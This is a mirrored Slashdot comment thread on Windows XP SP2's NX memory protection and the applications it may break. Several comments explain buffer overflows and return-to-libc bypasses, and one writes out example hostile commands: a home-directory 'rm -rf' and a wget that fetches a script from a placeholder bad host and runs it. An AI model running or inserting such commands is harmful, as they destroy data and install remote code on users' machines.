Slashdot Mirror


Windows XP SP2 Could Break Some Applications

Denver_80203 writes "An article from InfoWorld states that the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Or: 'The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation. The .Net Framework is one.' Fortunately for us, they are offering a course to guide the unsecure masses."

139 of 513 comments (clear)

  1. Uh oh by Bishop,+Martin · · Score: 3, Funny

    "the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.'"

    That's just about every application in Windows XP

    --
    Setec Astronomy
    1. Re:Uh oh by pergamon · · Score: 2, Funny

      No, that is Windows XP

    2. Re:Uh oh by Froug · · Score: 4, Insightful

      You don't realize how true this is after the W2K source leak. Microsoft has to take drastic measures if they are to stem the flood of exploits.

      Making sure nothing can buffer overrun to execute with even user privileges is a neccessity now that countless local holes are known (Overflow on loading a bitmap? How in the hell did they manage to screw that up?).

    3. Re:Uh oh by FuzzyBad-Mofo · · Score: 5, Interesting

      From the developer's guide. Emphasis mine.

      The security technologies included with Service Pack 2 will allow for better protection against network-based attacks.. Windows Firewall is now turned on by default and all ports are closed except when they are in use.

      I hope their firewall doesn't open ports automatically, or it's nothing more than swiss cheese.

    4. Re:Uh oh by julesh · · Score: 4, Informative

      Are you kidding? You have seen the format of a bitmap, haven't you? It's a seriously screwed up format.

      I believe, BTW, the problem is an integer overflow one; a length field has a number substracted from it without previously checking that it is large enough to not wrap around to 2^32-(a little bit). This kind of thing happens a lot, and was the cause of the most recent Apache hole (among many others), so criticising MS for having one similar is a little harsh.

    5. Re:Uh oh by Nimloth · · Score: 5, Funny
      The upcoming Windows XP Service Pack 2 could break some 'unsecure applications'.

      Are we talking about Windows XP SP1?

    6. Re:Uh oh by DrSkwid · · Score: 4, Interesting


      hehe

      I also like :

      Work continues with microprocessor vendors to help Windows support hardware-enforced "no execute" (NX) on microprocessors that support the feature. This feature allows the CPU to enforce the separation of application code and data, preventing a component from executing program code that a worm or virus inserted into a portion of memory marked for data only.

      So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

      Apparently MS hasn't learned the ancient ninja technique of heap redirection or return-to-lib.

      So new hardware security features will lead to *more* exploits!

      --
      There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
    7. Re:Uh oh by spideyct · · Score: 3, Informative

      If you keep reading, you see that they mean the application must support a stateful firewall.
      Ports will not accept incoming messages, unless an application has opened the port with an outgoing message (putting the port "in use").
      This means that server applications - which have to accept uninitiated communications - have to be put on a "whitelist" manually.

      It will not protect you against trojan horse applications which can initiate communications from your machine, but it will protect you against external port attacks which have helped some of the famous worms propogate.

    8. Re:Uh oh by Froug · · Score: 4, Insightful

      I've seen the format. I've seen worse, and bmp is hardly bad enough to mess up an implimentation for.

      I don't feel it's harsh at all to criticise over this. The Apache Group should also be embarassed for the same.
      (what, you assumed I'm yet another anti-MS/pro-OSS zealot?)

      Integer overflows are easily avoided, and the very fact that they crop up so often is the reason programmers keep such a sharp eye out for them (at least where I work, anyway).

    9. Re:Uh oh by lowe0 · · Score: 5, Informative

      Nope. If the NX flag catches your problem, it won't let it slide - it'll refuse to run that segment of code. So instead of a buffer overflow you can't see, now you'll have an exception that's a lot more visible, and a lot less dangerous if it slips by QA.

    10. Re:Uh oh by dildog · · Score: 4, Interesting

      I think you missed the point. This is fundamentally similar to 'stackguard' and has been circumvented for some time using the following technique: (and others, mind you)

      When you overwrite the stack pointer, you don't have to point to code that's on the stack.

      For example, I can overflow with a 'command-line string' on the stack, and have the overwritten stack pointer point to the address of a library function, such as 'system()', or something, and then it won't be executing any code from the stack, just taking arguments from the stack like usual.

      This can't be blocked with a conventional non-executable stack.

    11. Re:Uh oh by dildog · · Score: 2, Informative

      Actually, it's not like stackguard. It's like a non-executable stack. Stackguard uses canaries, much like the VC7 'buffer-overflow protection' compiler switch. Sorry for the confusion. The rest of the message is true :P

      Noon is early for me :P

    12. Re:Uh oh by pavon · · Score: 4, Insightful

      So now MS and 3rd party programmers will think to themselves "aw well, if my pointer arithmetic is poor the CPU will catch any over runs".

      Give me a break. You might as well say that we should get rid of memory protection and preemptive multitasking, because having them makes the programmers lazy, thinking the OS will catch their errors.

      The NX feature is very good for security and stability. All people including programmers make mistakes, and if you design your security policy on the basis that no one will ever make a mistake you are bound for trouble. The only sensible approach is to have multiple layers where mistakes in one will be caught in the next and prevented from becoming a bigger problem than it should.

      If the OS+hardware completely disallow you from writing to code memory, or executing application memory, then any attempts to do so will be killed on the spot and the blame will be placed squarely on your application. The user will know that your program screwed up (or was being malicious) instead of blaming it on windows. So not only will this close off an entire class of exploits, it will provide incentive for programmers to do a better job!

    13. Re:Uh oh by dnoyeb · · Score: 2, Informative

      Its why I favor java so strongly. Yet this seems to be one of the targets of the "patch." I hope this does not signal a return to the days where MS intentionally broke applications but never let on about it.

      This seems to be exactly why the government was suing them. They will support .NET making the adaption internally, but java is on its own. That is unfair use of monopoly power.

    14. Re:Uh oh by Anonymous Coward · · Score: 4, Informative

      "The NX feature is very good for security and stability."

      NO NO NO! That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.

      Overwrite the stack pointer with the address of a suitable library function. E.g., clobbering the stack pointer with the address of system() and overwriting the top of the stack with (pointer(s) to) suitable arguments (e.g., "rm -rf ~/", or "wget -c http://somebadplace.com/somethingbad.sh;/bin/sh somethinbad.sh"). Nothing on the stack ever gets executed, and you neatly sidestep any protection afforded by NX.

    15. Re:Uh oh by innocent_white_lamb · · Score: 2, Insightful

      That's the kind of thinking that will result in a 'golden age' of exploitable software. NX does not close the vulnerability left by a buffer overflow. All it does is require you to use a different class of attack.

      So just because a burglar can break the window means that we shouldn't bother to lock the car door?

      --
      If you're a zombie and you know it, bite your friend!
    16. Re:Uh oh by lyphorm · · Score: 2, Insightful

      So just because a burglar can break the window means that we shouldn't bother to lock the car door?

      More like: Just because the alarm is enabled you can stop worrying over whether or not you locked the door.

      It's nice having something like this to catch errors, but it could also lead to developers using it as a crutch and not bothering to make their code secure. In other words, it looks good on paper, but it's only marginally effective in practice and still doesn't fix the problem of poorly written code.

      --
      ______-___--_-__-_---_-----__-_-___-_-_---_-----_- __--_____
  2. Great! by Lumpy · · Score: 4, Funny

    another reason for the company I work for to NOT migrate from Windows 2000.

    Thank you Microsoft!

    --
    Do not look at laser with remaining good eye.
    1. Re:Great! by wasabii · · Score: 4, Insightful

      Yeah. When the open source guys break insecure applicications at least they get fixed in minutes, or it just takes a recompile. :0

      How are you suppose to correct these apps? I bet some don't even have company's behind them anymore.

    2. Re:Great! by mcx101 · · Score: 5, Insightful

      It's hardly new for Windows to drop backwards compatibility in areas. Many applications which are partly 16-bit and partly 32-bit won't run on Windows XP, but do run on Windows 95/98/ME for example

      Windows XP has application compatibility features which allow you to set the OS version to previous releases and provide compatibility with older registry layouts, for example. That kind of compatibility feature is unlikely to help with stricter security controls of course (unlesss there's an option simply to turn off the new security features).

      --
      My operat~1 system unders~1 long filena~1 , does yours?
    3. Re:Great! by malchus842 · · Score: 3, Insightful

      I've run into this many times. Or if the company exists, they have dropped support for the older version. And many times, the newer versions are not providing anything useful *except* support for the new OS. Not worth the upgrade price.

      With open source, I can nearly always manage the problem - recompile works most of the time, and if not, I can either fix it myself, or find someone who has or will fix it, either for free or for a reasonable fee. More and more of my clients are starting to see the value of Linux and open source applications, especially in the server area. And these are small to medium sized businesses who tend to be very conservative about how they spend their computing money.

      I even have customers asking about switching to Mac - something that hasn't happened in ages, if ever!

    4. Re:Great! by darkain · · Score: 2, Interesting

      1) the 9X series of windows was able to run half-half-23-bit programs easier, because the OS WAS hanf-n-half. ever remember those "most switching benchmarks"? that was a benchmark to see how well your CPU could switch between the 16-bit and 32-bit instruction sets. 2) windows 2000 also supported the whole "application compatibility mode". go look for (i THINK its) appcompat.exe on the windows 2000 CD. it was an application w/ command lind params instead of being in the application's EXE's property menu. 3) as for compatibility w/ 16-bit applications, windows xp simply uses an emulator for 16-bit instructions. this is to make sure the memory arcetecture and other things dont break new pure-32-bit applications.

    5. Re:Great! by js3 · · Score: 2, Informative

      That's funny because it is these same companies that get owned when the exploits come out. Many companies don't patch, either through ignorance or fear. Take MDAC for example, very buggy and MS has a patch to upgrade to the latest version but I've run into companies that require a certain version of MDAC. "We specifically need this version to run. your app uses that newer version with all the great features but we certainly don't want that. we want to old one with lots of securit holes in it"

      --
      did you forget to take your meds?
    6. Re:Great! by sketerpot · · Score: 4, Insightful

      Let me get this straight: Microsoft is making XP more secure in a way that could break some programs (sort of like the grsecurity linux kernel patches break some programs), and you're against that? Sure, it would be nice if it was optional---but it's Microsoft! Doing something about security! Even if it means actually announcing that some programs may be broken!

    7. Re:Great! by ivan1011001 · · Score: 3, Funny

      There's no reason not to migrate from Windows 2000. Just don't migrate to Windows XP. You could always switch to Linux, BSD, or any operating system. Of course, now that Windows 2000 is open source, you really don't need to.

      --

      I was thinking of converting to paganism, but where the hell can you find sacrificial virgins these days?
    8. Re:Great! by drinkypoo · · Score: 2, Informative

      Real Mode support was still in the OS, but turned off. See Real DOS-Mode Patch for Windows Millennium By Reines [MFD] (that's for dos booting), and Overview of Real Mode Removal from Windows Millennium Edition. Apparently Windows ME also used a VM to run DOS programs. (See second link.) Incidentally in my experience NT 3.51 was more reliable (on appropriate hardware - it did get left behind) than NT 4.0 because they merged two of the memory spaces in it in order to improve speed. Windows 2000, of course, is one of the best Windows(tm) OSes yet, and IMO Windows XP is just as good (there's some new bloat, but you can shut it off, and lose only disk space)

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  3. Java? by 0tim0 · · Score: 5, Interesting
    The great bulk of applications will not be affected by memory protection. The number one that leaps to mind is execution environments with just-in-time code generation.

    Is this supposed to mean that Java will stop working?

    --t

    1. Re:Java? by LousyPhreak · · Score: 4, Funny

      no microsoft would never do this, they would be sued for doing so, you know anticompetitive business tactics and the like...

      but wait... there was something...

      --
      -- Karma: beyond good and evil - mostly affected by posting political
    2. Re:Java? by 0tim0 · · Score: 2, Insightful
      Just in time code generation != just in time compilation

      Uh, well I don't know what source code generation has to do with protected memory. So I assumed they meant binary code generation which is one phase of JIT.

      --t

    3. Re:Java? by smallpaul · · Score: 3, Interesting

      How do you think you do compilation without code generation? Compilation is the conversion of code in one format (in this case Java bytecodes) to code in another (e.g. x86 assembly).

    4. Re:Java? by DotNetGuru · · Score: 5, Informative

      If Java is doing the right thing it will not be broken.

      The right thing to do is to call VirtualProtect(addr, size, PAGE_EXECUTE_READWRITE, &prevProtect);

      That will mark the memory pages as being read/write/execute (where as previously they were only read/write). People should have been doing this before anyway (as the pages were never guaranteed to be executable), and if they didn't it's their bug.

      I'm betting that Sun can download the beta and test Java on XP SP2 to make sure they're compliant though. Hell, Microsoft could probably even do some compatibility testing for them and enable a compatibility layer for Java. But then again Sun might sue them for that. MS probably just wants to stay away :).

    5. Re:Java? by VertigoAce · · Score: 4, Informative

      Buffer overflows don't overflow into program code (the stack grows toward program code, so a buffer goes away from program code). The simplest buffer overflow would put code onto the stack and overwrite the return address of a function with an address of the code on the stack. This only works if the stack is executable. It sounds like they'll be making the stack for data only, breaking some applications. This does not stop another kind of overflow where you put system call arguments on the stack and alter the return address to start executing a system/library call.

    6. Re:Java? by zenyu · · Score: 2, Informative

      The way I see it, is that buffer overflow exploits work when a buffer is defined too small for the amount of data used to fill it.
      yes.

      The data 'overflows' into a region of memory that contains program code, the processor is currently executing.
      No, usually not. What you usually do is write past a buffer on the stack, until you reach the function's return pointer, then you overwrite that with the location
      of your own code. You can place this code either before or after the new return pointer, but the catch is that the stack must be marked as executable for you to run this code. Usually it is not possible to write into a region that contains program code with an overflow, those pages are in read-only pages/segments. (I'm assuming the text segments are read-only in XP, I may be wrong.)

      In order to exploit a buffer overflow when the stack is in a non-executable page/segment you must find the code you need within the existing program or in the operating system, or in some other place marked executable. This can be much harder than just sticking your own code in there. However, if you just want to do a denial of service a non-executable stack is not a problem. Also a clever hacker can find those bits of useful code within a static binary or in the OS, or even within the normal course of execution by just stuffing the wrong data on to the stack. So compiling your own executables and operating system with random offsets is still a good idea, and it's an even better idea to fix the buffer overflows in the first place.

      Still this is a very good idea, it's way too easy to exploit buffer overflows with an executable stack. It makes cracking just a cookie cutter operation. 1. find any overflow. 2. select one of many prewritten rootkit startups 3. profit. With page/segment protection it becomes 1. find an overflow. 2. ???? 3. profit.

      JIT can still work, you just memmap/malloc the buffers for the code and then mark them as executable, instead of allocating little bits of code on the stack. This is probably already done this way in Java JIT engines, they might need to do a cleanup to make sure all the pages are allocated and marked properly.

  4. Memory Protection? by Anonymous Coward · · Score: 2, Informative

    I have been waiting for this for a long time, glad to see it included in sp2.

  5. The "unsecure" list by acostin · · Score: 5, Funny

    Open Office, Mozilla, Java based applications, Apache with PHP, and other applications written by a bunch of programmers without a management control :)

  6. some funny quotes by stonebeat.org · · Score: 3, Interesting

    From the article @ Windows XP SP2 could break existing application
    according to Tony Goodhew, a product manager in Microsoft's developer group:

    "SP2 will break some applications because they are insecure," he said. "Security is important, and it is not just a Microsoft problem but a developer community problem. We all need to work together to create a more secure computing environment."

    "It doesn't really matter how long it is going to take you to do the work; security is an important issue, and developers need to start doing that work now," Goodhew said.

    1. Re:some funny quotes by julesh · · Score: 4, Insightful

      Which is what happens when you let a product manager talk about technical issues.

      There applications that will break are _not_ (necessarily) insecure. They just behave in a way that makes it impossible for Windows to tell isn't somebody trying to execute some code in an overflowed buffer.

      Typical MS press relations, blame everyone else.

  7. "Insecure Applications"? by Nobody+You+Know · · Score: 2, Funny

    "the upcoming Windows XP Service Pack 2 could break some 'unsecure applications.'" I thought service packs were supposed to FIX the operating system.

    1. Re:"Insecure Applications"? by Slack3r78 · · Score: 3, Interesting

      Look at what you just wrote. Service packs fix the operating system. What I see this as meaning is it will break applications that were written in an insecure manner, most likely using undocumented APIs.

      In the past, when MS has updated the OS, they've often worked kludges in to make sure they don't break applications that were doing things that they weren't supposed to be doing. With the new focus on security, Microsoft has likely put an end to such kludges and things are going to break. I'm not surprised, and it doesn't really bother me.

      Really, most of the posts I'm seeing are giving Microsoft a hard time about this, but how is it any different from the kernel developers refusing to freeze a driver API, which in turn occassionally causes drivers for some hardware to break? It happens, and it's really out of Microsoft's hands if they're focused on building a more secure OS than what they have now. I'm sure Microsoft's own products will be patched at the same time SP2 is released, and so long as they provide a changelist which would allow developers to fix apps that might break, what's the problem?

  8. Better security is good by hattig · · Score: 5, Informative

    Sounds like an issue with NX bit implementation on A64 ... this protects memory that is tagged as data from being executed (which protects against buffer overrun exploits, which are 50% of the MS security issues). This would affect .NET, Java, etc. However I'm sure that there is a way to fix this for these types of application!

    Regardless, enforcing decent security like this is good.

    Now all the hackers will have to try other methods of hacking windows, heh. I'm sure that there is no shortage of them!

    1. Re:Better security is good by julesh · · Score: 2, Insightful

      Yes, as discussed in the previous article, these types of applications will need to use the VirtualProtect() API to tell Windows to make their pages executable.

      Unfortunately, this will mean patches will have to be released to just about everything that does this. Presumably, MS will include a patch for .NET along with SP2 (?), but if you need Java you'll probably have to wait for your JVM vendor to issue an upgrade...

    2. Re:Better security is good by Helvick · · Score: 5, Informative
      The NX support is only one of the major changes and it will only affect AMD64 and Itanic for now. The lack of NX in Prescott's "IA32e" extensions is listed here by an intel source and discussed in detail in this thread on Ace's Hardware. This unofficial comment in that thread might lead a true conspiracy theorist to conclude that there might be widespread issues with turning on NX support right now. Reading MS's Developer overview for SP2 here also gives the impression that NX related problems will not be easy to workaround, at least for non open source apps\drivers. The fact that AMD haven't been making any effort to try to market the NX capabilities in AMD64 outside of the enthusiast market could be explained if there are major issues with SP2.

      The RPC and DCOM changes are much more likely to have wider impacts - especially for enterprise applications.

      The ICF changes are fairly light (unfortunately in my view) and not that hard for end users\admins to modify so even if there are issues workarounds will be fairly simple.

    3. Re:Better security is good by Helvick · · Score: 2, Informative
      Now that I look at this in detail it seems that XP SP2's NX support requires PAE support to be enabled. PAE is an Intel x86 hack to allow access to a 36bit memory space. M$ only support it on W2K Advanced Server, XP and W2K3 so unless that policy is changed in a future SP then you're probably right.

      PAE is not native 64bit mode though - and 64bit'ness isn't required for it. Lack of NX in consumer Intel processors clearly has nothing to do with 64bit support as such. Since NX support is fairly simple and provides such an easy marketing benefit (Roll UP! Virus Proof Processors (TM) yadda yadda ..) it does all seem to indicate that Intel know that enabling NX support will break lots of legacy hardware (and maybe software if the MS comment about Delphi is accurate). Their decision to wait until Tejas (late Q1 2005) before having it in consumer oriented procesors gives the hardware market time to build and debug reliable PAE supporting drivers and apps thanks to AMD.

    4. Re:Better security is good by SLi · · Score: 2, Interesting

      Yes. Python doesn't (currently) do any kind of JIT compiling and is therefore purely an interpreted language and won't be affected by this change. To explain a bit further:

      Basically we can divide programming languages (and environments) into compiled languages and interpreted languages. Compiled languages are usually fast but in many ways unsafe and the resulting programs are harder to observe. Interpreted languages are slow but observing and debugging the program is easy. Also a compiled program can only be run on a single architecture without recompiling while interpreted programs can be run on any architecture for which an interpreter exists.

      Now there's a special class of languages that are compiled to bytecode which is closer to actual machine language than the source code yet independent from architecture. The resulting bytecode is run in a virtual machine (VM), which still has to interpret or compile it.

      Often interpreting the bytecode is even slower than interpreting the original language. However, compiling the code and then running it only once is usually even slower than interpreting. The solution is to compile the code just in time (JIT) when it has possibly already been interpreted a few times and it seems likely it will be executed again and again. This way only the speed-critical parts of the program will ever be compiled, resulting in performance (arguably) close to compiled languages without tying the program to a single architecture.

      Now, just as for any other compiler, from the JIT compiler's point of view both the bytecode and the compiled, machine-executable code is pure data. So the problem arises when the VM suddenly wants to transfer control from its interpreter code to the JIT-compiled code. The operating system has taken care of marking all the VM code as "OK to execute" when the program was started, but now no-one, unless the VM, has told the operating system that the new code is OK to execute. Therefore the OS cannot distinguish it from a case where a malicious user has fed machine code to a program as data and used a flaw in the program to jump into it, which is the way most common exploits work.

      As for Python, I wouldn't actually classify it into bytecode languages, at least not yet. AFAIK the "bytecode" that Python scripts can be compiled into is more like a parse tree of the program than machine code, and the Python interpreter still purely interprets it. No generated machine code is executed at any point in time and hence the above scenario doesn't apply.

    5. Re:Better security is good by Foolhardy · · Score: 2, Interesting

      In languages like Python that can treat code as data, the code is not stored in the binary form the CPU executes, but as a list of instructions for the language's interpreter. So, as far as the CPU is concerned, those pieces of code are really data.
      If the code was compiled beforehand, then the reference to the code structure will be a pointer to the actual function, stored with the rest of code.
      If the language has a JIT (just-in-time compiler), it has a risk of being broken, as mentioned earlier with the .NET JIT. It will have to be aware of the NX flag and set it explicitlly.

  9. Here's more info on what SP2 is about by ClippyHater · · Score: 4, Interesting

    Microsoft has a nice bit of info for developers. All in all, I'm pretty impressed with the work and thought they've put into this SP--should make the world just a little bit safer for computing (of course, only for the folk running XP, the rest of their offerings don't have any of this as far as I know).

  10. More work.....sigh. by wongqc · · Score: 5, Informative

    Without doubt, countless QA software testers & coders will cry out in anguish over this.....more work for them to do. But if they want to sell their software on the large Windows desktop market....They have little choice in the matter.

    For each software build, we have to test against the various OS versions, and different service packs builds. Not fun...

  11. You cannot make an omelet without breaking eggs. by Kalroth · · Score: 5, Insightful

    I really like the direction Microsoft is heading.
    Granted it was needed as their reputation, in regards of security, has always been low to none.

    I really hope this will rid Windows XP of future remote exploits, since that's still the biggest threat Windows is facing.
    Having said that, this wont fix all security problems, there will always be the luser that executes whatever is mailed to him/her, but it's still a step in the right direction.

  12. The blind leading... by thestarz · · Score: 5, Funny

    Fortunately for us, they are offering a course to guide the unsecure masses.

    The blind leading the seeing?

    --

    c++; /* this makes c bigger but returns the old value */
    1. Re:The blind leading... by cybermace5 · · Score: 3, Funny

      If you were trapped total darkness with no flashlight, the blind person is who you'd want to lead you out...when you're surrounded by utter stupidity, you want whoever is the most familiar with it to lead you out.

      --
      ...
  13. Re:.NET framework by SlightOverdose · · Score: 3, Funny

    Obviously never had to use MFC then eh? .NET provides a nice clean set of APIs that aren't retarted.

  14. Re:These are a few insecure programs that won't wo by igloo-x · · Score: 2, Funny
    iTunes
    QuickTime
    RealPlayer

    Fuck, where do I sign?

  15. Where do you get the Beta by mpn14tech · · Score: 5, Interesting

    I read an article about this yesterday and wanted to test it against some apps where I work, but could not find the download for it on the Microsoft website. Do you have to have an MSDN subscription to get it. Seems rather rather screwy that if I want to make sure my app works with Microsofts OS I pay to them an extra $500 for the privilege. Maybe this is the new money making model. Profits are down this quarter, lets go break some code and charge them for how to fix it.

  16. 'Tis a gentle touch of irony... by jkbuha · · Score: 5, Insightful

    ...when one realises that most of this effort is fruit of a tiny 5kb worm which actually had asked mr gates to repair his software... I'm still working on my sig

  17. Re:Lets not bag on MS by LousyPhreak · · Score: 3, Insightful

    but with linux there is at least two big differences:

    you are not fixed to xandros, i use debian and can (and atleast did) boot 2.2 2.4 2.5 and 2.6 series kernels, so just switch your distro to one that fits your needs better.

    also check when the last security stuff for the windows 95 generation (95,98,me) and older nt's (4 and downwards) was released. on the other hand even the 2.0 kernel is still maintained and updated.

    --
    -- Karma: beyond good and evil - mostly affected by posting political
  18. I like it by SlightOverdose · · Score: 4, Insightful

    First, they decided to postpone Longhorn "Until it's done", rather than releasing a shoddy product early.

    Second, they've gone so far as to break application compatibility in order to clean up a number of deeply embedded security holes in Windows.

    Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"

    1. Re:I like it by AndroidCat · · Score: 5, Insightful
      Hopefully they're cracking down on all the apps that have to run as admin. If all those users who open up strange attachments didn't have authority to play with the %windows% directories, there'd be a lot less 0wn3d boxes on the net.

      I bet that most of the things broken should have been fixed back in the NT5 guidelines pre-Win2000.

      --
      One line blog. I hear that they're called Twitters now.
    2. Re:I like it by naelurec · · Score: 2, Interesting

      The only thing they get is the bottom line.. the biggest issues with Windows is spyware & viruses (for the majority of people). These are HUGE issues for both home and business users.

      Here is what I see -->

      My KDE 3.2 desktop ease of use is right up there with other operating systems .. I have people using my system all the time -- everything from children to senior citizens (70+). The fact that I can install Linux MUCH EASIER than Windows (pop in Knoppix CD and initiate a HD install) and it doesn't have the two biggest problems that Windows has (spyware & viruses) and it has the "major apps" that are needed (web browsing, spreadsheets, word processors, email, im, etc..) is HUGE.

      Microsoft is definitely getting it -- if they don't release quality products, their market share will erode.

    3. Re:I like it by SlightOverdose · · Score: 2, Interesting

      Im hoping that once .NET takes off, Outlook will only open .NET executables. Since they run in a VM, they can be restricted.

      You could configure it so all untrusted code was restricted.

      (Try running a .NET exe directly over a windows share if you want to see it in action. If the program tries to access the local filesystem it gets an Exception).

    4. Re:I like it by Spoing · · Score: 5, Insightful
      1. Personally, I think this is a Very Good Thing(tm). Microsoft may finally be "Getting it"

      While I agree, I'm becomming a strong advocate for looking at the world from the point of base motivations.

      Microsoft is primarily motivated to keep stock prices going up -- or at a minimum -- stable.

      If these changes become too painful for those who don't care about security, it will cause a decrease in the deployment of Windows XP and XP-specific programs.

      If this happens -- or may happen -- Microsoft will do something to make people happy...even if that means back stepping.

      That said, I can see them putting out XP SP2 (forcing the app vendors including MS themselves to deal with security) and then offering a variety of moderately painful workarounds. Ideally, the workarounds would break with each minor update, forcing the security issue.

      Putting the changes in XP only, though, does fit with Microsoft's motivation to get people to upgrade. Now they can say "well, W2K is not nearly as secure as XP", even though they could back port the changes to W2K -- though there is no motivation to do so.

      From motivations, though, it's hard to beat OSS on security. The code is there, and if something is not secure it will be made secure because the developers are personally driven to make it so.

      (ObDisclaimer: Keeping in mind that security is always a process not a product. Tools can be handy or even critical, though how they are used and why is much more important.)

      --
      A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.
    5. Re:I like it by Chester+K · · Score: 2, Informative

      Hopefully they're cracking down on all the apps that have to run as admin.

      It's been a requirement for Windows XP Logo Certification (maybe even Windows 2000 certification, but I'm not sure) that your application has to run under a normal user account.

      Of course, for apps that don't get logo certified, I don't think there's much Microsoft can do to force them to work. :( At least all over MSDN they recommend many times that when you use Visual Studio, you should do all your developing under a normal user account so you don't code yourself into an Administrator-only hole.

      --

      NO CARRIER
    6. Re:I like it by Spoing · · Score: 2, Interesting
      1. So, I think that little demos are the way to go. Don't pressure a switch to Linux, work at switching the applications first.

      Yep. I get the occasional "Microsoft is everywhere, so why bother?" comments, and I've gotten into the habbit of either smiling and not saying a word or giving a demo and not commenting on Microsoft at all. Silence or not contradicting them makes people curious and I don't have to spend time arguing this over this type of sillyness.

      As for switching folks over, I've had sucess with my father after I installed Firefox (when it was Pheonix) and gave both he and my mom a 10 minute demo.

      What really did it though is that I first found out what sites they like to visit, put them a bookmark, and set the home page to the bookmark. After they switched, I cut the confusion even more by using a custom wallpaper that has text on it with arrows ("click this to connect to the Internet", ...).

      He is concerned about security now, but won't leave Windows. He is hoping that I have a silver bullet that can prevent his financial information from being stolen...and while I am thinking about that, I also know that neither of them want to have any changes at all to what they have.

      Having said all that, demos don't always sink in. For example: One person kept referring to KDE on my laptop as XP. I must have said "I'm not running Windows; this is KDE and Linux; Not XP." about 30-40 times over 3 weeks before it sunk in. He even kept calling KDE XP moments after I told him it wasn't!

      The same person keeps thinking that the web cam he has will work perfectly if only he gets a faster computer...though he and his family in another country have dial up. No demo of that fact, so it is taking even longer.

      --
      A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.
  19. Start doing that work NOW! by cha0t1c · · Score: 2, Insightful

    ' In a quote from Tony Goodhew, a product manager in Microsoft's developer group says 'It doesn't really matter how long it is going to take you to do the work; security is an important issue and developers need to start doing that work now.' Let's see how this works.., We have a broken security model so the onus is on you to fix your apps because of our piss poor planning (ease of use vs security/functionality) Hmmm...,

    1. Re:Start doing that work NOW! by jimbolaya · · Score: 4, Funny
      ""Microsoft is finally starting to favor security over functionality."

      They that give up functionality to obtain a little security deserve neither functionality nor security.

      Yeah, or something like that.

      --

      There ain't no rules here; we're trying to accomplish something.

  20. This may affect Linux as well as MS by Azureflare · · Score: 5, Insightful
    But unfortunately with many apps that run on Windows, you don't have the source code for those apps for a recompile if they do get broken. Sorry Anonymous Coward, we have to bag MS on this one. They are going to cause a lot of grief by doing this, and a lot of companies will not upgrade to SP2 to avoid that grief. Anyway I think people should stay with windows 2000 as an operating system of choice in a business type environment.

    In the past, MS has broken Windows 95/98 applications, but Windows XP/2000 had compatibility modes available for the older applications. If it is as they say, and newer apps will be intentionally broken without any way of going into a compatibility mode, this will be bad.

    I have difficulty believing MS would not include some kind of compatibility mode, however. It'll be interesting to see what they do. It won't really affect me though, I don't use XP and can't stand that OS (Windows 2000 is still my favorite Microsoft OS; Windows XP is just 2000 with some pretty GUI changes and some compatibility fixes.)

  21. Duh??? by Tim+Ward · · Score: 4, Funny

    QA software testers & coders will cry out in anguish over this.....more work for them to do

    I don't think the will "cry out in anguish" if they've got any sense. In today's market they'll jump for joy, knowing that their jobs are safe for another few months.

  22. Sounds like... by Khan · · Score: 5, Interesting

    ...IE will continue to be broken then :-)

    Actually, I'm very interested to see if the SP2 pop-up ad blocker will actually work in IE since MS has dragged their feet on this issue. Half the battles we have been fighting lately at work involve IE and pop-ups that install crap without any notification.

    --

    "Klaatu, verada, necktie!" -Ash

  23. Re:Lets not bag on MS by dattaway · · Score: 4, Insightful

    Upgrading to 2.6 was not a forced security upgrade, but simply an option. Patching security with linux is a quick patch and restarting the affected service.

    Does this Service Pack allow itemized upgrading? A reboot? Uninstalling broken patches? More than one reboot?

  24. Memory protection only on 64-bit platforms for now by Eponymous+Cowboy · · Score: 5, Insightful

    Actually, only the Itanium and AMD K8 are affected by this immediately; Microsoft isn't yet marking memory nonexcutable by default on the good old x86 processors that we all use.

    Regardless, it is trivial for developers to update their code for things like JIT compilers, with a simple function like this:

    void MakeMemoryExecutable ( void* buffer, int lengthInBytes )
    {
    DWORD op;
    VirtualProtect(buffer, lengthInBytes, PAGE_EXECUTE_READWRITE, &op);
    }

    I added that piece of code to my company's JIT compiler some years ago, just to ensure that the proper flags were set. I figured Microsoft would eventually switch to nonexecutable data and stack segments, much like the OpenWall project has done with their Linux patches. Glad to see Microsoft is finally taking the first steps.

    --
    It's hard for thee to kick against the pricks.
  25. Seen this coming for ages ... by zenpiglet · · Score: 5, Informative

    SP2 is not just another Service Pack. MS are using this as a means to introduce a lot of new stuff. everything from locked-down DCOM settings, to pop-up blockers and a new version of the Windows Installer.

    A lot of stuff is going to break, but I think that this is good in a way. MS have finally put security ahead of backward compatibility. Once these changes are in place and apps are working with them, the system is going to be more secure. For once MS should be applauded - yes, you can argue it's a bit late, but at least they're doing it now.

    If you want to check out what changes SP2 actually makes, have a read of this white paper:

    Changes to Functionality in Service Pack 2 for Microsoft Windows XP

    Lengthy, but worth a read, especially if you have apps that you think might be affected.

    A downloadable version is available here.

  26. Re:.NET framework by Xoder · · Score: 4, Interesting

    He's not a programmer. This is important. From the end-user perspective, .NET is just a ill-formed buzzword. I do not doubt the idiocy of MFC (although I've never used it), and the improvement that .NET brings (although I've never used it), but as a Windows user, not developer, I can't see the difference or the point in installing the .NET framework.

    --
    The previous sig has been removed due to /. protecting your best interests
  27. Good by quantum+bit · · Score: 5, Insightful

    Microsoft has pandered to broken applications for far too long. Maybe if they finally get over their "backwards compatibility at all costs" attitude, they'll get around to fixing some of the fundamental flaws in their OS.

    I highly doubt that Linux authors would think twice about breaking buggy apps to force the issue.

    1. Re:Good by Dirtside · · Score: 2

